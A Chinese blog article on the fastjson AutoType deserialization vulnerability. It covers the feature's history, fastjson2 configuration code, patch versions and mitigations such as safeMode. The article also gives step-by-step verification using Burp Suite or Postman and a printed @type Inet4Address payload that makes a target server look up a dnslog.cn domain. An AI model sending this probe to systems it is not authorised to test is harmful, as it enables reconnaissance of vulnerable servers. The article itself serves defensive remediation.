当前位置: 首页 > news >正文

fastjson(autoType)反序列化漏洞

1.  温少和他的fastjson

阿里巴巴的 FastJSON,也被称为 Alibaba FastJSON 或阿里巴巴 JSON,是一个高性能的 Java JSON 处理库,用于在 Java 应用程序中解析和生成 JSON 数据。FastJSON 以其卓越的性能和功能丰富的特点而闻名,并在阿里巴巴的开源项目和其他许多 Java 应用程序中广泛使用。

fastjson的特点和常用方法如下:

Java工具库——FastJson的40个常用方法-CSDN博客

因为fastjson自己定义了序列化工具类,并且使用asm技术避免反射、使用缓存、并且做了很多算法优化等方式,大大提升了序列化及反序列化的效率。

虽然fastjson是阿里巴巴开源出来的,但是从论坛了解到这个项目大部分时间都是其作者温少一个人在靠业余时间维护的。

知乎上有网友说:“温少几乎凭一己之力撑起了一个被广泛使用JSON库,而其他库几乎都是靠一整个团队,就凭这一点,温少作为“初心不改的阿里初代开源人”,当之无愧。”

fastjson目前是国产类库中比较出名的一个,可以说是倍受关注,所以渐渐成了安全研究的重点,所以会有一些深度的漏洞被发现。就像温少自己说的那样:

“和发现漏洞相比,更糟糕的是有漏洞不知道被人利用。及时发现漏洞并升级版本修复是安全能力的一个体现。”

2. FASTJSON Autotype机制

FASTJSON支持AutoType功能,这个功能会在序列化的JSON字符串中带上类型信息,在反序列化时,不需要传入类型,实现自动类型识别。

2.1 Autotype机制存在的历史

AutoType 机制是 FASTJSON 提供的一项特性,目的是简化 JSON 的序列化和反序列化过程。在普通的反序列化操作中,JSON 字符串需要传递具体的类型信息,而 AutoType 机制则允许在 JSON 数据中直接包含类型信息,从而在反序列化时自动识别类型。这种机制最早出现在 FASTJSON 的初期版本中,主要出于以下几个原因:

  1. 简化开发:AutoType 机制可以简化 JSON 数据在 Java 对象之间的转换过程,减少代码量,提高开发效率。
  2. 增强灵活性:通过在 JSON 数据中嵌入类型信息,可以方便地处理复杂对象和多态对象,特别是在实现继承和接口时。
  3. 广泛适用性:在很多应用场景下,特别是 RPC 调用和数据交换过程中,AutoType 机制可以极大地方便数据传输和解析。

然而,随着该机制的广泛使用,一些潜在的问题也逐渐暴露出来,特别是安全性方面。由于 AutoType 机制允许在 JSON 字符串中嵌入类型信息,攻击者可能利用这一点,注入恶意的类,从而导致反序列化漏洞。为了应对这一问题,FASTJSON 在后续版本中对 Autotype 机制进行了多次改进和优化。

2.2 FASTJSON 2 Autotype机制


2.2.1 序列化时带上类型信息


如果需要序列化时带上类型信息,需要使用JSONWriter.Feature.WriteClassName。比如:

Bean bean = ...;
String jsonString = JSON.toJSONString(bean, JSONWriter.Feature.WriteClassName);

很多时候,root对象是可以知道类型的,里面的对象字段是基类或者不确定类型,这个时候不输出root对象的类型信息,可以减少序列化结果的大小,也能提升反序列化的性能。

Bean bean = ...;
String jsonString = JSON.toJSONString(bean, JSONWriter.Feature.WriteClassName, JSONWriter.Feature.NotWriteRootClassName);


2.2.2 反序列化时打开AutoType功能以支持自动类型

Bean bean = (Bean) JSON.parseObject(jsonString, Object.class, JSONReader.Feature.SupportAutoType);

2.2.3 配置safeMode

配置SafeMode会完全禁用AutoType功能,如果程序中显式指定类型,AutoType功能也不会生效。

 JVM启动参数配置:

-Dfastjson2.parser.safeMode=true

2.2.4 使用AutoTypeFilter在不打开AutoTypeSupport时实现自动类型

当打开AutoTypeSupport,虽然内置了一个比较广泛的黑名单,但仍然是不够安全的。下面有一种办法是控制当前调用的AutoType支持范围,避免全局打开,这个更安全。

public class FastJsonRedisSerializer<T> implements RedisSerializer<T> {static final Filter autoTypeFilter = JSONReader.autoTypeFilter(// 按需加上需要支持自动类型的类名前缀,范围越小越安全"org.springframework.security.core.authority.SimpleGrantedAuthority");private Class<T> clazz;public FastJsonRedisSerializer(Class<T> clazz) {super();this.clazz = clazz;}@Overridepublic byte[] serialize(T t) {if (t == null) {return new byte[0];}return JSON.toJSONBytes(t, JSONWriter.Feature.WriteClassName);}@Overridepublic T deserialize(byte[] bytes) {if (bytes == null || bytes.length <= 0) {return null;}return JSON.parseObject(bytes, clazz, autoTypeFilter);}
}

3. fastjson反序列漏洞autoType验证

在起初阶段,AutoType的漏洞层出不穷。

从2019年7月份发布的v1.2.59一直到2020年6月份发布的 v1.2.71 ,每个版本的升级中都有关于AutoType的升级。

1.2.59发布,增强AutoType打开时的安全性 fastjson
1.2.60发布,增加了AutoType黑名单,修复拒绝服务安全问题 fastjson
1.2.61发布,增加AutoType安全黑名单 fastjson
1.2.62发布,增加AutoType黑名单、增强日期反序列化和JSONPath fastjson
1.2.66发布,Bug修复安全加固,并且做安全加固,补充了AutoType黑名单 fastjson
1.2.67发布,Bug修复安全加固,补充了AutoType黑名单 fastjson
1.2.68发布,支持GEOJSON,补充了AutoType黑名单。(引入一个safeMode的配置,配置safeMode后,无论白名单和黑名单,都不支持autoType。) fastjson
1.2.69发布,修复新发现高危AutoType开关绕过安全漏洞,补充了AutoType黑名单 fastjson
1.2.70发布,提升兼容性,补充了AutoType黑名单

甚至在fastjson的开源库中,有一个Issue是建议作者提供不带autoType的版本。后来fastjson2中改为必须显式打开才能使用autoType。

关于早期安全漏洞发掘人员和autoType功能斗智斗勇的故事如果感兴趣可以参阅以下博客:

【FastJson】FastJson AutoType-CSDN博客

3.1 漏洞验证准备工具

1. 测试工具Burp Suite 或者Postman

2. dnslog在线平台; http://dnslog.cn/

3.2 漏洞验证步骤

1. 打开Burp Suite默认浏览器

2. 访问项目地址,并登录系统,调用接口

3. Http history找到登录接口,send to Repeater(如果知道报文结构的话,前三步也可以直接用Postman工具构造请求,我的截图是使用Postman工具,引用链接使用的是Burp Suite)

4. 在dnslog在线平台获取域名

5.,把requestBody中json替换

{"zeo": {"@type": "java.net.Inet4Address","val": "3yttqu.dnslog.cn"}
}

6. 调用接口:返回成功,说明fastjson进行了正常反序列化过程

7. 回到dns平台,点击Refresh Record,获取到了调用者的ip Address

3.3 为什么测试结果验证了漏洞的存在

这个测试结果可以验证漏洞的存在,是因为它展示了一个实际成功执行的攻击示例,并且在 DNS 日志记录中捕获了相对应的 DNS 请求。

具体原因如下:

  1. 漏洞描述中的关键点

    • 漏洞涉及 Fastjson 序列化问题,允许攻击者利用 @type 属性执行潜在危险的代码。
    • 攻击者可以利用这个漏洞从系统中提取敏感信息,并对系统进行进一步的攻击。
  2. 测试请求的执行

    • 测试步骤中,通过 POST 请求向目标 URL 发送数据
    • 请求体中包含了一个特殊的 Payload
  3. 响应结果

    • 响应结果显示了 HTTP 200 状态码,表明请求被成功处理。
    • 表示 Fastjson 在处理这个请求时没有阻止序列化的数据类型,验证了 Fastjson 的漏洞。
  4. DNS 记录验证

    • 在 DNSlog 平台上的日志记录显示了 3yttqu.dnslog.cn的查询记录。
    • 这些 DNS 查询的时间戳与测试请求的时间匹配,说明目标服务器确实处理了请求,并试图解析传入的主机名。

如果你想在查阅使用Burp suite验证漏洞的范例,可以阅读以下博客:

fastjson反序列漏洞autoType验证和解决 - 简书

解决建议:

要解决该漏洞,需要在代码中将fastjson的safeModel配置为true。而fastjson2.0版本在缺省配置(safeMode)下是安全的,所以升级到fastjson2.0版本也是一个很好的办法。
 

4.温少对AutoType安全机制的介绍和安全要求

针对这些安全问题,温少亲自在github上讲述fastjson2的安全机制,并强烈要求“打开AutoType不应该在暴露在公网的场景下使用”

https://github.com/alibaba/fastjson2/wiki/fastjson2_autotype_cn

原文:

1.  必须显式打开才能使用。和fastjson 1.x不一样,fastjson 1.x为了兼容有一个白名单,在fastjson 2中,没有任何白名单,也不包括任何Exception类的白名单,必须显式打开才能使用。这可以保证缺省配置下是安全的。

2.  支持配置safeMode,在safeMode打开后,显式传入AutoType参数也不起作用。

3.  显式打开后,会经过内置黑名单过滤。该黑名单能拦截大部分常见风险,这个机制不能保证绝对安全,打开AutoType不应该在暴露在公网的场景下使用。

5.总结

针对fastjson反序列化有关的安全问题。如果系统并非内部局域网使用,使用fastjson2并且不启用默认关闭的AutoType机制是最有效的安全做法。

参考资料:

【FastJson】FastJson AutoType-CSDN博客

fastjson反序列漏洞autoType验证和解决 - 简书

https://github.com/alibaba/fastjson2/wiki/fastjson2_autotype_cn

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 经典结构Transformer解读
  • 本地访问不到公网redis的解决方法
  • 【Python】Python单元测试
  • Docker重启命令
  • stm32—中断机制
  • GSON转换将Long类型转换Double导致精度丢失的问题排查
  • Redis:查询是否包含某个字符/字符串之二
  • STM32-外部中断-AFIO-串口-串口通信-串口中断(空闲中断和接收中断)-printf移植-ADC数模转换-初始化和读取光敏电阻AO
  • Unity 使用 NewtonSoft Json插件报错
  • 基于华为的LTC流程体系,建立销售营销指标体系的探讨
  • YoloV8改进策略:Block改进|自研GroupxLSTM模块|即插即用(顶会专属)
  • react多级权限路由
  • 【云原生】Pass容器研发基础——汇总篇
  • 集合-List去重
  • jquery div触发粘贴事件
  • [Vue CLI 3] 配置解析之 css.extract
  • “Material Design”设计规范在 ComponentOne For WinForm 的全新尝试!
  • CAP理论的例子讲解
  • eclipse的离线汉化
  • Eureka 2.0 开源流产,真的对你影响很大吗?
  • quasar-framework cnodejs社区
  • Storybook 5.0正式发布:有史以来变化最大的版本\n
  • 当SetTimeout遇到了字符串
  • 前端每日实战:70# 视频演示如何用纯 CSS 创作一只徘徊的果冻怪兽
  • 听说你叫Java(二)–Servlet请求
  • 小程序 setData 学问多
  • 学习笔记:对象,原型和继承(1)
  • 云大使推广中的常见热门问题
  • 做一名精致的JavaScripter 01:JavaScript简介
  • 扩展资源服务器解决oauth2 性能瓶颈
  • ​2020 年大前端技术趋势解读
  • ​如何使用ArcGIS Pro制作渐变河流效果
  • #NOIP 2014# day.1 T3 飞扬的小鸟 bird
  • $forceUpdate()函数
  • (04)odoo视图操作
  • (1)安装hadoop之虚拟机准备(配置IP与主机名)
  • (2)STL算法之元素计数
  • (2022版)一套教程搞定k8s安装到实战 | RBAC
  • (9)目标检测_SSD的原理
  • (NO.00004)iOS实现打砖块游戏(十二):伸缩自如,我是如意金箍棒(上)!
  • (poj1.3.2)1791(构造法模拟)
  • (动态规划)5. 最长回文子串 java解决
  • (四)opengl函数加载和错误处理
  • (转载)跟我一起学习VIM - The Life Changing Editor
  • *setTimeout实现text输入在用户停顿时才调用事件!*
  • .Net Core 中间件验签
  • .NET 指南:抽象化实现的基类
  • .NetCore实践篇:分布式监控Zipkin持久化之殇
  • .Net程序帮助文档制作
  • .Net多线程Threading相关详解
  • @Data注解的作用
  • [ 数据结构 - C++] AVL树原理及实现
  • [1]从概念到实践:电商智能助手在AI Agent技术驱动下的落地实战案例深度剖析(AI Agent技术打造个性化、智能化的用户助手)
  • [8481302]博弈论 斯坦福game theory stanford week 1
  • [Angular] 笔记 7:模块